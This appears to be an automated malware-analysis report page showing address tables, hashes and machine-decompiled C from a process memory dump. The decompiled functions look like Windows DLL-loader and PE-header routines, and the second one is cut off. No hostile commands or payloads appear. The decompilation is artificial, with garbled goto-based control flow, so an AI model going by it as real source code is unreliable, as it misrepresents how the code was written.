0x05755949
0x0575594e
0x0575594e
0x05755953
0x0575595b
0x05755976
0x05755976
0x0575597a
0x0575597f
0x00000000
0x00000000
0x00000000
0x00000000
0x05755981
0x05755981
0x05755981
0x05755983
0x05755988
0x0575598d
0x05755991
0x05755991
0x00000000
0x0575595d
0x0575595d
0x05755963
0x05755965
0x00000000
0x00000000
0x00000000
0x00000000
0x05755967
0x05755967
0x0575596b
0x0575596d
0x00000000
0x00000000
0x0575596f
0x05755971
0x05755971
0x05755974
0x00000000
0x00000000
0x00000000
0x05755974
0x00000000
0x05755967
0x0575595b
0x05755942
0x05755863
0x05712143
0x05712143
0x05712149
0x0571214f
0x057122f1
0x057122f6
0x00000000
0x05712173
0x05712173
0x0571217d
0x05712181
0x05712186
0x057559ae
0x057559b2
0x057559b5
0x057559b7
0x057559ba
0x057559cd
0x057559d1
0x057559d5
0x057559d9
0x057559db
0x00000000
0x00000000
0x057559dd
0x057559dd
0x057559e1
0x057559e4
0x057559e7
0x057559ee
0x057559ee
0x057559f3
0x057559f3
0x00000000
0x05712186
0x0571214f
0x05712106
0x05712266
0x057120d8
0x057120da
0x057120e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0a1959b4807edd10cf2ee677ed8a2e4b67d148942e84b7c410eb48067cbbcb
Instruction ID: e1c020858def272048bebc585e0036831753915e127cfdbbb75419f139e4b16e
Opcode Fuzzy Hash: 2c0a1959b4807edd10cf2ee677ed8a2e4b67d148942e84b7c410eb48067cbbcb
Instruction Fuzzy Hash: 3CF13535A083419FD725CF2DC848B2EBBE2BF85324F04851DEC969B282D774D840EB96

Uniqueness

Uniqueness Score: -1.00%

Function 056FD5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E056FD5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x57dd360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E056F6600(0x57d52d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x57d7b9c; // 0x0
							_t281 = L05704620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E0572F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x57d7b90; // 0x77df0000
								if(_t384 == 0) {
									_t353 =  *0x57d7b8c; // 0x5282b20
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E05702280(_t200, 0x57d84d8);
									_t277 =  *0x57d85f4; // 0x5283010
									_t351 =  *0x57d85f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x5282fa8
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E056FFFB0(_t287, _t353, 0x57d84d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E0573CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E056F6600(0x57d52d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E056F7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x57db239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E0576E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x57d8472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0x57db1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0x57db218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E05702280(_t250, 0x57d84d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L05723898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E056FFFB0(_t293, _t353, 0x57d84d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E057237F5(_t353, 0);
																}
																E05720413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E05719B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E057102D6(_t174);
																}
																L057077F0( *0x57d7b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E0571C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L056FEC7F(_t353);
										L057119B8(_t287, 0, _t353, 0);
										_t200 = E056EF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0x57db2f8 |  *0x57db2fc) == 0 || ( *0x57db2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E0572B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0x57db2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E05796B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E05796AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E056FE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L056FEAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = E05729730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E056FE9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L056F8F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E05723C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x056fd5f2
0x056fd5f5
0x056fd5f5
0x056fd5fd
0x056fd600
0x056fd60a
0x056fd60d
0x056fd617
0x056fd61d
0x056fd627
0x056fd62e
0x056fd911
0x056fd913
0x00000000
0x056fd919
0x056fd919
0x056fd919
0x056fd634
0x056fd634
0x056fd634
0x056fd634
0x056fd640
0x056fd8bf
0x00000000
0x056fd646
0x056fd646
0x056fd64d
0x056fd652
0x0574b2fc
0x0574b2fc
0x0574b302
0x0574b33b
0x0574b341
0x00000000
0x0574b304
0x0574b304
0x0574b319
0x0574b31e
0x0574b324
0x0574b326
0x0574b332
0x0574b347
0x0574b34c
0x0574b351
0x0574b35a
0x00000000
0x0574b328
0x0574b328
0x00000000
0x0574b328
0x0574b326
0x056fd658
0x056fd658
0x056fd65b
0x056fd665
0x00000000
0x056fd66b
0x056fd66b
0x056fd66b
0x056fd66b
0x056fd66d
0x056fd672
0x056fd67a
0x00000000
0x00000000
0x056fd680
0x056fd686
0x056fd8ce
0x056fd8d4
0x056fd8dd
0x056fd8e0
0x056fd68c
0x056fd691
0x056fd69d
0x056fd6a2
0x056fd6a7
0x056fd6b0
0x056fd6b5
0x056fd6e0
0x056fd6b7
0x056fd6b7
0x056fd6b9
0x056fd6b9
0x056fd6bb
0x056fd6bd
0x056fd6ce
0x056fd6d0
0x056fd6d2
0x0574b363
0x0574b365
0x00000000
0x0574b36b
0x00000000
0x0574b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x056fd6bf
0x056fd6bf
0x056fd6e5
0x056fd6e7
0x056fd6e9
0x056fd6ec
0x056fd6ec
0x056fd6ef
0x056fd6f5
0x056fd6f9
0x056fd6fb
0x056fd6fd
0x056fd701
0x056fd703
0x056fd70a
0x056fd70a
0x056fd701
0x056fd710
0x056fd710
0x056fd6c1
0x056fd6c1
0x056fd6c6
0x0574b36d
0x0574b36f
0x00000000
0x0574b375
0x0574b375
0x0574b375
0x00000000
0x0574b375
0x00000000
0x056fd6cc
0x056fd6d8
0x056fd6d8
0x056fd6d8
0x00000000
0x056fd6c6
0x056fd6bf
0x00000000
0x056fd6da
0x056fd6da
0x056fd716
0x056fd71b
0x056fd720
0x056fd726
0x056fd726
0x056fd72d
0x00000000
0x056fd733
0x056fd739
0x056fd742
0x056fd750
0x056fd758
0x056fd764
0x056fd776
0x056fd77a
0x056fd783
0x056fd928
0x056fd92c
0x056fd93d
0x056fd944
0x056fd94f
0x056fd954
0x056fd956
0x056fd95f
0x056fd961
0x056fd973
0x056fd973
0x056fd956
0x056fd944
0x056fd92c
0x056fd78b
0x0574b394
0x056fd791
0x056fd798
0x0574b3a3
0x0574b3bb
0x0574b3bb
0x056fd7a5
0x056fd866
0x056fd870
0x056fd892
0x056fd898
0x056fd89e
0x056fd8a0
0x056fd8a6
0x056fd8ac
0x056fd8ae
0x056fd8b4
0x056fd8b4
0x056fd8ae
0x056fd7a5
0x056fd78b
0x056fd7b1
0x0574b3c5
0x0574b3c5
0x056fd7c3
0x056fd7ca
0x056fd7e5
0x056fd7eb
0x056fd8eb
0x056fd8ed
0x00000000
0x056fd8f3
0x056fd8f3
0x056fd8f3
0x00000000
0x056fd8ed
0x056fd7cc
0x056fd7cc
0x056fd7d2
0x00000000
0x056fd7d4
0x056fd7d4
0x056fd7d7
0x056fd7df
0x0574b3d4
0x0574b3d9
0x0574b3dc
0x0574b3dc
0x0574b3df
0x0574b3e2
0x0574b468
0x0574b46d
0x0574b46f
0x0574b46f
0x0574b475
0x056fd8f8
0x056fd8f9
0x056fd8fd
0x0574b3e8
0x0574b3e8
0x0574b3eb
0x0574b3ed
0x00000000
0x0574b3ef
0x0574b3ef
0x0574b3f1
0x0574b3f4
0x0574b3fe
0x0574b404
0x0574b409
0x0574b40e
0x0574b410
0x0574b410
0x0574b414
0x0574b414
0x0574b41b
0x0574b420
0x0574b423
0x0574b425
0x0574b427
0x0574b42a
0x0574b42d
0x0574b42d
0x0574b42a
0x0574b432
0x0574b436
0x0574b438
0x0574b43b
0x0574b43b
0x0574b449
0x0574b44e
0x0574b454
0x0574b458
0x0574b458
0x0574b45d
0x00000000
0x0574b45d
0x0574b3ed
0x00000000
0x00000000
0x00000000
0x056fd7df
0x056fd7d2
0x056fd7ca
0x0574b37c
0x0574b37e
0x0574b385
0x0574b38a
0x00000000
0x0574b38a
0x056fd742
0x056fd7f1
0x056fd7f8
0x0574b49b
0x0574b49b
0x056fd800
0x056fd837
0x056fd843
0x056fd845
0x056fd847
0x056fd84a
0x056fd84b
0x056fd84e
0x056fd857
0x056fd818
0x056fd824
0x056fd831
0x0574b4a5
0x0574b4ab
0x0574b4b3
0x0574b4b8
0x0574b4bb
0x00000000
0x0574b4c1
0x0574b4c1
0x0574b4c8
0x00000000
0x0574b4ce
0x0574b4d4
0x0574b4e1
0x0574b4e3
0x0574b4e5
0x00000000
0x0574b4eb
0x0574b4f0
0x0574b4f2
0x056fdac9
0x056fdacc
0x056fdacf
0x056fdad1
0x056fdd78
0x056fdd78
0x056fdcf2
0x00000000
0x056fdad7
0x056fdad9
0x056fdadb
0x00000000
0x00000000
0x056fdae1
0x056fdae1
0x056fdae4
0x056fdae6
0x0574b4f9
0x0574b4f9
0x0574b500
0x056fdaec
0x056fdaec
0x056fdaf5
0x056fdaf8
0x056fdafb
0x056fdb03
0x056fdb11
0x056fdb16
0x056fdb19
0x056fdb1b
0x0574b52c
0x0574b531
0x0574b534
0x056fdb21
0x056fdb21
0x056fdb24
0x056fdcd9
0x056fdce2
0x056fdce5
0x056fdd6a
0x056fdd6d
0x00000000
0x056fdd73
0x0574b51a
0x0574b51c
0x0574b51f
0x0574b524
0x00000000
0x0574b524
0x056fdce7
0x056fdce7
0x056fdce7
0x00000000
0x056fdce7
0x00000000
0x056fdb2a
0x056fdb2c
0x056fdb31
0x056fdb33
0x056fdb36
0x056fdb39
0x056fdb3b
0x056fdb66
0x056fdb66
0x056fdb3d
0x056fdb3d
0x056fdb3e
0x056fdb46
0x056fdb47
0x056fdb49
0x056fdb4c
0x056fdb53
0x056fdb55
0x056fdb58
0x056fdb5a
0x0574b50a
0x0574b50f
0x0574b512
0x056fdb60
0x056fdb60
0x056fdb63
0x056fdb63
0x00000000
0x056fdb63
0x056fdb5a
0x056fdb3b
0x056fdb24
0x056fdb69
0x056fdb69
0x056fdb6c
0x056fdb6f
0x056fdb74
0x0574b557
0x0574b557
0x0574b55e
0x056fdb7a
0x056fdb7c
0x056fdb7f
0x056fdb82
0x056fdb85
0x00000000
0x056fdb8b
0x056fdb8b
0x056fdb8d
0x056fdb9b
0x056fdb9b
0x056fdb9d
0x056fdba0
0x056fdba2
0x056fdba4
0x056fdba7
0x056fdba9
0x056fdbae
0x056fdbae
0x056fdbb1
0x056fdbb4
0x056fdbb4
0x056fdbb7
0x056fdbba
0x056fdcd2
0x056fdcd4
0x00000000
0x056fdbc0
0x056fdbc0
0x056fdbd2
0x056fdbd7
0x056fdbda
0x056fdbdd
0x056fdbdf
0x00000000
0x056fdbe5
0x056fdbe5
0x056fdbee
0x056fdbf1
0x0574b541
0x0574b544
0x00000000
0x0574b546
0x0574b546
0x00000000
0x0574b546
0x056fdbf7
0x056fdbf7
0x056fdbfd
0x056fdbfd
0x056fdbff
0x056fdc0b
0x056fdc15
0x056fdc1b
0x056fdc1d
0x056fdc21
0x056fdc21
0x056fdc23
0x056fdc23
0x056fdc26
0x056fdc29
0x056fdc2b
0x00000000
0x00000000
0x056fdc31
0x056fdc34
0x056fdc36
0x056fdcbf
0x056fdcbf
0x056fdcc2
0x00000000
0x056fdc3c
0x056fdc41
0x056fdc43
0x00000000
0x056fdc45
0x056fdc45
0x056fdc47
0x00000000
0x056fdc4d
0x056fdc4d
0x056fdc50
0x056fdc52
0x056fdc55
0x056fdcfa
0x056fdcfe
0x056fdd08
0x056fdd0a
0x056fdd0c
0x00000000
0x056fdd12
0x056fdd15
0x056fdd2d
0x056fdd2f
0x056fdd32
0x056fdd35
0x00000000
0x056fdd35
0x056fdc5b
0x056fdc5b
0x056fdc5e
0x056fdc61
0x056fdc64
0x056fdc67
0x056fdc67
0x056fdc6a
0x056fdc6c
0x056fdc8e
0x056fdc8e
0x056fdc91
0x056fdc93
0x056fdcce
0x056fdcce
0x056fdc95
0x056fdc9c
0x056fdc6e
0x056fdc72
0x056fdc75
0x056fdc77
0x056fdc79
0x0574b551
0x0574b551
0x00000000
0x056fdc7f
0x056fdc7f
0x056fdc81
0x00000000
0x056fdc83
0x056fdc86
0x056fdc88
0x00000000
0x00000000
0x00000000
0x00000000
0x056fdc88
0x056fdc81
0x056fdc79
0x056fdc6c
0x056fdc55
0x056fdc47
0x056fdc43
0x00000000
0x056fdc36
0x056fdc23
0x00000000
0x056fdbff
0x056fdbf1
0x056fdbdf
0x056fdb8f
0x056fdb92
0x056fdb95
0x00000000
0x00000000
0x00000000
0x00000000
0x056fdb95
0x056fdb8d
0x056fdb85
0x056fdb74
0x056fdc9f
0x056fdca2
0x056fdcb0
0x056fdcb0
0x056fdad1
0x0574b4e5
0x0574b4c8
0x00000000
0x00000000
0x00000000
0x056fd831
0x00000000
0x056fd800
0x0574b47f
0x0574b485
0x00000000
0x0574b485
0x056fd665
0x056fd652
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d271f8760e14b04e6652aec1fcc829727077410b7d895c9374f380d2e6b7010d
Instruction ID: d73bdaa5406162ab03c9e4b77db97d020a3c5e1b8be92e6246fc0f6faf489677
Opcode Fuzzy Hash: d271f8760e14b04e6652aec1fcc829727077410b7d895c9374f380d2e6b7010d
Instruction Fuzzy Hash: 88E1BE31F05259CFDB24CF28C888B69B7B2BF45314F0541A9EA0A9B790DB34AD81DF91

Uniqueness

Uniqueness Score: -1.00%

Function 056F849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E056F849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x57bf9c0);
				E0573D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x57d7b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E056FCEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E05702280( *[fs:0x30], 0x57d8550);
						_t139 =  *0x57d7b04; // 0x1
